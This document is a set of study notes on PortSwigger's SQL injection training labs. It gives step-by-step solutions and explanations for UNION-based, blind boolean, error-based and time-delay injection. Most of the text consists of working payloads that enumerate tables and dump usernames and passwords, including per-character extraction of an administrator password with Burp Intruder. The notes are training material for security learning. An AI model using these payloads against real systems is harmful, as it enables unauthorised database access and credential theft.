Portswigger SQL Injection Lab Notes

1. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:

SELECT \* FROM products WHERE category = 'Gifts' AND released = 1

To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Modify the category parameter, giving it the value ***'+OR+1=1--***
3. Submit the request, and verify that the response now contains one or more unreleased products.

So the query becomes:

SELECT \* FROM products WHERE category = '' OR 1=1--' AND released = 1;

1. SQL injection vulnerability allowing login bypass

This lab contains a SQL injection vulnerability in the login function.

To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

 Solution

1. Use Burp Suite to intercept and modify the login request.
2. Modify the username parameter, giving it the value: ***administrator'--***
3. SQL injection attack, querying the database type and version on Oracle

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

**Hint**

On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

There is a built-in table on Oracle called dual which you can use for this purpose. For example: UNION SELECT 'abc' FROM dual

For more information, see our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:

***'+UNION+SELECT+'abc','def'+FROM+dual--***

1. Use the following payload to display the database version:

***'+UNION+SELECT+BANNER,+NULL+FROM+v$version—***

* Why: A UNION only works when both SELECTs return the same number of columns and compatible types.
* Oracle quirk: Every SELECT must have a FROM, so we use the magic one-row table dual.
* Seeing your markers (abc, def) appear means:
  + there are 2 columns in the original query, and
  + both positions accept text.
* The -- starts a comment, which neutralizes the rest of the original SQL after your payload.

3) Pull the version string

* Final payload:
* ' + UNION SELECT BANNER, NULL FROM v$version --
* Why v$version: Oracle exposes version info in the dynamic performance view v$version.
* Why BANNER: That column holds the human-readable version string (e.g., Oracle Database 19c...).
* Why NULL for the 2nd column: Your UNION must still return two columns. You only need one text value (the banner), so you pad the other with NULL to keep the column count/type alignment.

1. SQL injection attack, querying the database type and version on MySQL and Microsoft

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

**Hint**

You can find some useful payloads on our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:

***'+UNION+SELECT+'abc','def'#***

1. Use the following payload to display the database version:

***'+UNION+SELECT+@@version,+NULL#***

5.SQL injection attack, listing the database contents on non-Oracle databases

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

**Hint**

You can find some useful payloads on our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:

***'+UNION+SELECT+'abc','def'—***

* A UNION only works if both SELECTs return the same number of columns and compatible types.
* Seeing abc/def render proves there are 2 columns and both accept text.
* If only one column renders text, pad the other with NULL and place the string in the text column (e.g., UNION SELECT 'abc', NULL).

1. Use the following payload to retrieve the list of tables in the database:

***'+UNION+SELECT+table\_name,+NULL+FROM+information\_schema.tables—***

* On non-Oracle DBs (MySQL/Postgres/SQL Server), information\_schema.tables lists tables.
* We put table\_name in the text-rendering column; pad the other with NULL to keep the column count.

1. Find the name of the table containing user credentials.
2. Use the following payload (replacing the table name) to retrieve the details of the columns in the table:

***'+UNION+SELECT+column\_name,+NULL+FROM+information\_schema.columns+WHERE+table\_name='users\_abcdef'--***

1. Find the names of the columns containing usernames and passwords.
2. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:

***'+UNION+SELECT+username\_abcdef,+password\_abcdef+FROM+users\_abcdef--***

1. Find the password for the administrator user, and use it to log in.
2. SQL injection attack, listing the database contents on Oracle

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

**Hint**

On Oracle databases, every SELECT statement must specify a table to select FROM. If your UNION SELECT attack does not query from a table, you will still need to include the FROM keyword followed by a valid table name.

There is a built-in table on Oracle called dual which you can use for this purpose. For example: UNION SELECT 'abc' FROM dual

For more information, see our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:

***'+UNION+SELECT+'abc','def'+FROM+dual--***

1. Use the following payload to retrieve the list of tables in the database:

***'+UNION+SELECT+table\_name,NULL+FROM+all\_tables—***

Why

* On Oracle, all\_tables lists tables you can see (across schemas). (Alternatives: user\_tables for your schema only; dba\_tables if you have privileges.)
* We place the string in the text column and pad the other with NULL to keep the 2-column shape.

1. Find the name of the table containing user credentials.
2. Use the following payload (replacing the table name) to retrieve the details of the columns in the table:

***'+UNION+SELECT+column\_name,NULL+FROM+all\_tab\_columns+WHERE+table\_name='USERS\_ABCDEF'—***

Why

* all\_tab\_columns reveals column names & types.
* Oracle uppercases unquoted identifiers in the data dictionary, so match the table name in UPPERCASE (as shown).

1. Find the names of the columns containing usernames and passwords.
2. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:

***'+UNION+SELECT+USERNAME\_ABCDEF,+PASSWORD\_ABCDEF+FROM+USERS\_ABCDEF—***

Why

* Now that you know the exact table/column names, UNION them into the response using the same 2-column layout.

1. Find the password for the administrator user, and use it to log in.
2. SQL injection UNION attack, determining the number of columns returned by the query

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Modify the category parameter, giving it the value ***'+UNION+SELECT+NULL--***. Observe that an error occurs.
3. Modify the category parameter to add an additional column containing a null value:

***'+UNION+SELECT+NULL,NULL--***

1. Continue adding null values until the error disappears and the response includes additional content containing the null values.
2. SQL injection UNION attack, finding a column containing text

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query. You can do this using a technique you learned in a [previous lab](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns). The next step is to identify a column that is compatible with string data.

The lab will provide a random value that you need to make appear within the query results. To solve the lab, perform a SQL injection UNION attack that returns an additional row containing the value provided. This technique helps you determine which columns are compatible with string data.

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns). Verify that the query is returning three columns, using the following payload in the category parameter:

***'+UNION+SELECT+NULL,NULL,NULL--***

1. Try replacing each null with the random value provided by the lab, for example:

***'+UNION+SELECT+'abcdef',NULL,NULL--***

1. If an error occurs, move on to the next null and try that instead.
2. SQL injection UNION attack, retrieving data from other tables

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the category parameter:

***'+UNION+SELECT+'abc','def'--***

1. Use the following payload to retrieve the contents of the users table:

***'+UNION+SELECT+username,+password+FROM+users—***

' + UNION SELECT username,password FROM users --

1. Verify that the application's response contains usernames and passwords.
2. SQL injection UNION attack, retrieving multiple values in a single column

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The database contains a different table called users, with columns called username and password.

To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

**Hint**

You can find some useful payloads on our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, only one of which contain text, using a payload like the following in the category parameter:

***'+UNION+SELECT+NULL,'abc'--***

1. Use the following payload to retrieve the contents of the users table:

***'+UNION+SELECT+NULL,username||'~'||password+FROM+users--***

1. Verify that the application's response contains usernames and passwords.
2. Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a Welcome back message in the page if the query returns any rows.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

**Hint**

You can assume that the password only contains lowercase, alphanumeric characters.

 Solution

1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie. For simplicity, let's say the original value of the cookie is TrackingId=xyz.
2. Modify the TrackingId cookie, changing it to:

***TrackingId=xyz' AND '1'='1***

Verify that the Welcome back message appears in the response.

1. ***Now change it to:***

TrackingId=xyz' AND '1'='2

Verify that the Welcome back message does not appear in the response. This demonstrates how you can test a single boolean condition and infer the result.

1. Now change it to:

***TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a***

Verify that the condition is true, confirming that there is a table called users.

* (SELECT 'a' FROM users LIMIT 1) → pulls 'a' if the table exists.
* If table users exists, the comparison 'a'='a' is true → Welcome back.
* If not, DB error → no Welcome back.  
  👉 Confirms the users table is real.

1. Now change it to:

***TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a***

Verify that the condition is true, confirming that there is a user called administrator.

* Inner query selects 'a' from users only if a row exists with username='administrator'.
* If the user exists → returns 'a' → 'a'='a' true → Welcome back.  
  👉 Confirms **admin account exists**.

1. The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:

***TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a***

This condition should be true, confirming that the password is greater than 1 character in length.

1. Send a series of follow-up values to test different password lengths. Send:

***TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a***

Then send:

***TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a***

And so on. You can do this manually using [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater), since the length is likely to be short. When the condition stops being true (i.e. when the Welcome back message disappears), you have determined the length of the password, which is in fact 20 characters long.

1. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder). Send the request you are working on to Burp Intruder, using the context menu.
2. In Burp Intruder, change the value of the cookie to:

***TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a***

This uses the SUBSTRING() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.

1. Place payload position markers around the final a character in the cookie value. To do this, select just the a, and click the **Add §** button. You should then see the following as the cookie value (note the payload position markers):

***TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§***

1. To test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. In the **Payloads** side panel, check that **Simple list** is selected, and under **Payload configuration** add the payloads in the range a - z and 0 - 9. You can select these easily using the **Add from list** drop-down.
2. To be able to tell when the correct character was submitted, you'll need to grep each response for the expression Welcome back. To do this, click on the **Settings** tab to open the **Settings** side panel. In the **Grep - Match** section, clear existing entries in the list, then add the value Welcome back.
3. Launch the attack by clicking the **Start attack** button.
4. Review the attack results to find the value of the character at the first position. You should see a column in the results called Welcome back. One of the rows should have a tick in this column. The payload showing for that row is the value of the character at the first position.
5. Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the **Intruder** tab, and change the specified offset from 1 to 2. You should then see the following as the cookie value:

***TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a***

1. Launch the modified attack, review the results, and note the character at the second offset.
2. Continue this process testing offset 3, 4, and so on, until you have the whole password.
3. In the browser, click **My account** to open the login page. Use the password to log in as the administrator user.

**Note**

For more advanced users, the solution described here could be made more elegant in various ways. For example, instead of iterating over every character, you could perform a binary search of the character space. Or you could create a single Intruder attack with two payload positions and the cluster bomb attack type, and work through all permutations of offsets and character values.

1. Blind SQL injection with conditional errors

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

**Hint**

This lab uses an Oracle database. For more information, see the [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie. For simplicity, let's say the original value of the cookie is TrackingId=xyz.
2. Modify the TrackingId cookie, appending a single quotation mark to it:

TrackingId=xyz'

Verify that an error message is received.

1. Now change it to two quotation marks:TrackingId=xyz''

Verify that the error disappears. This suggests that a syntax error (in this case, the unclosed quotation mark) is having a detectable effect on the response.

1. You now need to confirm that the server is interpreting the injection as a SQL query i.e. that the error is a SQL syntax error as opposed to any other kind of error. To do this, you first need to construct a subquery using valid SQL syntax. Try submitting:

***TrackingId=xyz'||(SELECT '')||'***

In this case, notice that the query still appears to be invalid. This may be due to the database type - try specifying a predictable table name in the query:

***TrackingId=xyz'||(SELECT '' FROM dual)||'***

As you no longer receive an error, this indicates that the target is probably using an Oracle database, which requires all SELECT statements to explicitly specify a table name.

1. Now that you've crafted what appears to be a valid query, try submitting an invalid query while still preserving valid SQL syntax. For example, try querying a non-existent table name:

***TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'***

This time, an error is returned. This behavior strongly suggests that your injection is being processed as a SQL query by the back-end.

1. As long as you make sure to always inject syntactically valid SQL queries, you can use this error response to infer key information about the database. For example, in order to verify that the users table exists, send the following query:

***TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'***

As this query does not return an error, you can infer that this table does exist. Note that the WHERE ROWNUM = 1 condition is important here to prevent the query from returning more than one row, which would break our concatenation.

1. You can also exploit this behavior to test conditions. First, submit the following query:

***TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE '' END FROM dual)||'***

Verify that an error message is received.

1. Now change it to:

***TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO\_CHAR(1/0) ELSE '' END FROM dual)||'***

Verify that the error disappears. This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The CASE statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions 1=1 and 1=2, and an error is received when the condition is true.

1. You can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username administrator exists:

***TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'***

Verify that the condition is true (the error is received), confirming that there is a user called administrator.

1. The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:

***TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to\_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'***

This condition should be true, confirming that the password is greater than 1 character in length.

1. Send a series of follow-up values to test different password lengths. Send:

***TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'***

Then send:

***TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'***

And so on. You can do this manually using [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater), since the length is likely to be short. When the condition stops being true (i.e. when the error disappears), you have determined the length of the password, which is in fact 20 characters long.

1. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder). Send the request you are working on to Burp Intruder, using the context menu.
2. Go to Burp Intruder and change the value of the cookie to:

***TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'***

This uses the SUBSTR() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.

1. Place payload position markers around the final a character in the cookie value. To do this, select just the a, and click the "Add §" button. You should then see the following as the cookie value (note the payload position markers):

***TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'***

1. To test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lowercase alphanumeric characters. In the "Payloads" side panel, check that "Simple list" is selected, and under "Payload configuration" add the payloads in the range a - z and 0 - 9. You can select these easily using the "Add from list" drop-down.
2. Launch the attack by clicking the " Start attack" button.
3. Review the attack results to find the value of the character at the first position. The application returns an HTTP 500 status code when the error occurs, and an HTTP 200 status code normally. The "Status" column in the Intruder results shows the HTTP status code, so you can easily find the row with 500 in this column. The payload showing for that row is the value of the character at the first position.
4. Now, you simply need to re-run the attack for each of the other character positions in the password, to determine their value. To do this, go back to the original Intruder tab, and change the specified offset from 1 to 2. You should then see the following as the cookie value:

***TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'***

1. Launch the modified attack, review the results, and note the character at the second offset.
2. Continue this process testing offset 3, 4, and so on, until you have the whole password.
3. In the browser, click "My account" to open the login page. Use the password to log in as the administrator user.

Step-by-step Payload Explanations

1. TrackingId=xyz'
   * Adds a ' (single quote) after the cookie value.
   * If the app breaks and shows an error, it means the value is inside an SQL query string and we caused a syntax error.
   * Confirms SQL injection is possible.
2. TrackingId=xyz''
   * Double single quotes '' is how SQL escapes an empty string.
   * Query becomes valid again → error disappears.
   * Confirms the previous error was due to unbalanced quotes.
3. TrackingId=xyz'||(SELECT '')||'
   * We’re trying to add a subquery that selects an empty string.
   * || is Oracle string concatenation.
   * If it fails, it’s because Oracle requires selecting from a table.
4. TrackingId=xyz'||(SELECT '' FROM dual)||'
   * Oracle requires a table name, so we select from the special one-row table dual.
   * Query works, no error.
   * Confirms the DB is Oracle.
5. TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'
   * Forces the query to reference a fake table.
   * Produces an error.
   * Confirms that we’re truly running SQL commands on the backend.
6. TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM=1)||'
   * Now testing if a table named users exists.
   * If it exists, query is valid → no error.
   * If not, error appears.
   * Confirms users table exists.
7. TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE '' END FROM dual)||'
   * Uses CASE WHEN to test a condition.
   * If (1=1) is true, it tries to do 1/0 (divide by zero) → guaranteed error.
   * Confirms we can use conditions to trigger errors.
8. TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO\_CHAR(1/0) ELSE '' END FROM dual)||'
   * This time (1=2) is false.
   * So the ELSE branch ('') runs → no error.
   * Confirms we can detect true vs false conditions using error/no error.
9. TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
   * Tests if a row with username='administrator' exists.
   * If it does, condition triggers → error shown.
   * Confirms administrator user exists.
10. TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

* Checks if the password length is more than 1.
* If true → divide by zero → error.
* If false → no error.
* Used to calculate password length.

1. Increment length testing

* Example:  
  TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
* Repeated with 3, 4, … until no error.
* When it stops erroring, we know the exact password length (20 chars).

1. Extracting characters

* Example:  
  TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
* SUBSTR(password,1,1) = take the first character of the password.
* Compare it with 'a'.
  + If true → error.
  + If false → no error.
* By brute-forcing through a-z0-9, we find the correct character.

1. Payload with Burp Intruder markers

* TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
* §a§ is Burp’s placeholder for the brute force payloads (letters/numbers).
* Burp will loop through all guesses until it finds the correct one.

1. Repeat for each position

* Change offset:
  + For 2nd char → SUBSTR(password,2,1)
  + For 3rd char → SUBSTR(password,3,1)
  + And so on until position 20.
* Each error tells you the correct character.

✅ In summary:

* Errors = true condition
* No errors = false condition
* With this, you test table existence, row existence, password length, and extract the password one character at a time.

1. Visible error-based SQL injection

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

 Solution

1. Using Burp's built-in browser, explore the lab functionality.
2. Go to the **Proxy > HTTP history** tab and find a GET / request that contains a TrackingId cookie.
3. In Repeater, append a single quote to the value of your TrackingId cookie and send the request.

***TrackingId=ogAZZfxtOKUELbuJ'***

1. In the response, notice the verbose error message. This discloses the full SQL query, including the value of your cookie. It also explains that you have an unclosed string literal. Observe that your injection appears inside a single-quoted string.
2. In the request, add comment characters to comment out the rest of the query, including the extra single-quote character that's causing the error:

***TrackingId=ogAZZfxtOKUELbuJ'--***

1. Send the request. Confirm that you no longer receive an error. This suggests that the query is now syntactically valid.
2. Adapt the query to include a generic SELECT subquery and cast the returned value to an int data type:

***TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--***

1. Send the request. Observe that you now get a different error saying that an AND condition must be a boolean expression.
2. Modify the condition accordingly. For example, you can simply add a comparison operator (=) as follows:

***TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--***

1. Send the request. Confirm that you no longer receive an error. This suggests that this is a valid query again.
2. Adapt your generic SELECT statement so that it retrieves usernames from the database:

***TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--***

1. Observe that you receive the initial error message again. Notice that your query now appears to be truncated due to a character limit. As a result, the comment characters you added to fix up the query aren't included.
2. Delete the original value of the TrackingId cookie to free up some additional characters. Resend the request.

***TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--***

1. Notice that you receive a new error message, which appears to be generated by the database. This suggests that the query was run properly, but you're still getting an error because it unexpectedly returned more than one row.
2. Modify the query to return only one row:

***TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--***

1. Send the request. Observe that the error message now leaks the first username from the users table:

ERROR: invalid input syntax for type integer: "administrator"

1. Now that you know that the administrator is the first user in the table, modify the query once again to leak their password:

***TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--***

1. Log in as administrator using the stolen password to solve the lab.
2. Blind SQL injection with time delays

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.

**Hint**

You can find some useful payloads on our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
2. Modify the TrackingId cookie, changing it to:

***TrackingId=x'||pg\_sleep(10)--***

1. Submit the request and observe that the application takes 10 seconds to respond.
2. Blind SQL injection with time delays and information retrieval

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

**Hint**

You can find some useful payloads on our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).

 Solution

1. Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
2. Modify the TrackingId cookie, changing it to:

***TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END--***

Verify that the application takes 10 seconds to respond.

1. Now change it to:

***TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END--***

Verify that the application responds immediately with no time delay. This demonstrates how you can test a single boolean condition and infer the result.

1. Now change it to:

***TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users--***

Verify that the condition is true, confirming that there is a user called administrator.

1. The next step is to determine how many characters are in the password of the administrator user. To do this, change the value to:

***TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users--***

This condition should be true, confirming that the password is greater than 1 character in length.

1. Send a series of follow-up values to test different password lengths. Send:

***TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users--***

Then send:

***TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users--***

And so on. You can do this manually using [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater), since the length is likely to be short. When the condition stops being true (i.e. when the application responds immediately without a time delay), you have determined the length of the password, which is in fact 20 characters long.

1. After determining the length of the password, the next step is to test the character at each position to determine its value. This involves a much larger number of requests, so you need to use [Burp Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder). Send the request you are working on to Burp Intruder, using the context menu.
2. In Burp Intruder, change the value of the cookie to:

***TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users--***

This uses the SUBSTRING() function to extract a single character from the password, and test it against a specific value. Our attack will cycle through each position and possible value, testing each one in turn.

1. Place payload position markers around the a character in the cookie value. To do this, select just the a, and click the **Add §** button. You should then see the following as the cookie value (note the payload position markers):

***TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg\_sleep(10)+ELSE+pg\_sleep(0)+END+FROM+users--***

1. To test the character at each position, you'll need to send suitable payloads in the payload position that you've defined. You can assume that the password contains only lower case alphanumeric characters. In the **Payloads** side panel, check that **Simple list** is selected, and under **Payload configuration** add the payloads in the range a - z and 0 - 9. You can select these easily using the **Add from list** drop-down.
